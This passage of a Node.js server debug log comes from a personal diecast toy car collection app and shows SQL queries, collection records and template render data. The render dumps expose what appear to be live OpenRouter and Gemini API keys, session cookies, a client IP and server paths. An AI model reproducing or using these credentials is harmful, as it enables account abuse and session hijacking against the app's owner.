  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T07:08:54.005Z server-connect:app Executing action step select
2026-02-04T07:08:54.005Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:08:54.006Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T07:08:54.007Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 157,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:08:54.262Z server-connect:router Serving templateView /
2026-02-04T07:08:54.263Z server-connect:app Executing action step identify
2026-02-04T07:08:54.263Z server-connect:app options: { provider: 'security' }
2026-02-04T07:08:54.263Z server-connect:output identity: 1
2026-02-04T07:08:54.263Z server-connect:app Executing action step restrict
2026-02-04T07:08:54.263Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:08:54.263Z server-connect:output restrict: undefined
2026-02-04T07:08:54.263Z server-connect:app Executing action step restrict
2026-02-04T07:08:54.263Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:08:54.263Z server-connect:output restrict: undefined
2026-02-04T07:08:54.263Z server-connect:router Render template layouts/main
2026-02-04T07:08:54.264Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:09:04.533Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:09:04.533Z server-connect:app Executing action step identify
2026-02-04T07:09:04.533Z server-connect:app options: { provider: 'security' }
2026-02-04T07:09:04.533Z server-connect:output identity: 1
2026-02-04T07:09:04.533Z server-connect:app Executing action step restrict
2026-02-04T07:09:04.533Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:09:04.533Z server-connect:output restrict: undefined
2026-02-04T07:09:04.533Z server-connect:app Executing action step paged
2026-02-04T07:09:04.533Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:09:04.535Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: []
    }
  ]
}
2026-02-04T07:09:04.756Z server-connect:router Serving templateView /
2026-02-04T07:09:04.757Z server-connect:app Executing action step identify
2026-02-04T07:09:04.757Z server-connect:app options: { provider: 'security' }
2026-02-04T07:09:04.757Z server-connect:output identity: 1
2026-02-04T07:09:04.757Z server-connect:app Executing action step restrict
2026-02-04T07:09:04.757Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:09:04.757Z server-connect:output restrict: undefined
2026-02-04T07:09:04.757Z server-connect:app Executing action step restrict
2026-02-04T07:09:04.757Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:09:04.758Z server-connect:output restrict: undefined
2026-02-04T07:09:04.758Z server-connect:router Render template layouts/main
2026-02-04T07:09:04.758Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?series=193',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?series=193',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
